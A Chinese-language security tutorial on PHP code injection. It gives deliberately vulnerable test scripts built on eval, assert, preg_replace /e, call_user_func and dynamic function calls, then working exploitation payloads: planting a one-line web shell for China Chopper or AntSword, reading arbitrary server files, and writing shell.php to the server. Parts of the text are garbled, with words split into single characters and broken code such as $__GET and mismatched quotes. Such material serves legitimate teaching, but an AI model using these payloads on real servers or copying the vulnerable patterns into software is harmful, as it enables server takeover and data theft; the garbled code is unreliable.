代码注入
原理以及成因
PHP代码执行(注入)(web应用方面,应用脚本在服务器执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。
代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。
原因
1、程序中含有可执行PHP代码的函数或者语言结构。
2、传入第一点中的参数,客户端可控,直接修改或者影响。
漏洞危害
web
应用如果存在代码执行漏洞是一件非常可怕的事情,可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果具有服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
以PHP为例子来说明,代码执行漏洞。PHP
中有很多函数和语句都会造成PHP代码执行漏洞。
相关函数和语句*
1、eval()
eval()会将字符串当作php 代码执行。测试代码如下
访问执行结果如下图:
<?php
if(isset($_GET[ 'code' ])){
$code=$_GET['code'];
eval($code);
}else{
echo "Please submit code!<br />?code=phpinfo();";
}
?>
访问结果如下:
然后提交变量[?code=phpinfo();]
传参
我们提交一下参数也是可以的
[?code=${phpinfo()};]
[?code=1;phpinfo() ; ]
访问结果如下:
2、assert()
assert()同样会作为PHP代码执行测试代码如下
<?php
if(isset($_GET[' code')){
$code=$_GET['code' ] ;assert($code);
}else{
echo "Please submit code!<br />?code=phpinfo()";
}
?>
提交参数[?code=phpinfo()]
访问结果同上,大家自行测试
3、preg_replace()
preg_replace()函数的作用是对字符串进行正则处理。
参数和返回值如下
mixed preg_replace(mixed $pattern,mixed $replacement,
mixed $subject[,int limit = -1[ , int &$count]])
这段代码的含义是搜索$
s
u
b
j
e
c
t
中
匹
配
subject中匹配
subject中匹配pattern
的部分,以
r
e
p
l
a
c
e
m
e
n
t
进
行
替
换
,
而
当
replacement进行替换,而当
replacement进行替换,而当pattern处,即第一个参数存在e修饰符时,$replacement 的值会被当成PHP代码来执行。典型的代码如下
<?php
if(isset( $_GET[ 'code '])){
$code=$__GET ['code ' ];
preg_replace("/\[(.*)\]/e" , '1l1', $code) ;
}
else{
echo" ?code= [phpinfo( )]";
}
?>
提交参数[?code=[phpinfo( )]],phpinfo()就会被执行
*call_user_func( )
call_user_func( )等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下
<?php
if( isset($_GET[ " fun' ] )){
$fun=$_GET[ 'fun ' ];
$para=$_GET ['para ' ];
call_user_func($fun , $para) ;
}
else{
echo" ?fun=assert& para=phpinfo( )";
}
?>
提交参数[?fun=assert¶=phpinfo( ) ]
*动态函数$a( $b)
由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下
<?php
if( isset($_GET['a' ])){
$a=$_GET['a '];
$b=$__GET ['b'];
$a( $b );
}else{
echo "?a=assert& ; b=phpinfo( )";
}
?>
提交参数[?a=assert&b=phpinfo( )]
漏洞利用
代码执行漏洞的利用方式有很多种,以下简单列出几种。
*直接获取Shell
提交参数
?code=@eval($_POST[1]);
,即可构成一句话木马,密码为[1]。可以使用菜刀或蚁剑连接。
*获取当前文件的绝对路径
FILE 是PHP预定义常量,其含义当前文件的路径。提交代码
?code=print(_FILE_);]
*读文件
我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。提交代码?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
读取服务器hosts文件。
*写文件
我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
提交代码code=var_dump(file_put_contents($_POST[1],$_POST[2]));
此时需要借助于hackbar通过post 方式提交参数
[1=shell.php&2=<?php phpinfo()?>]。
即可在当前目录下创建一个文件shell.php。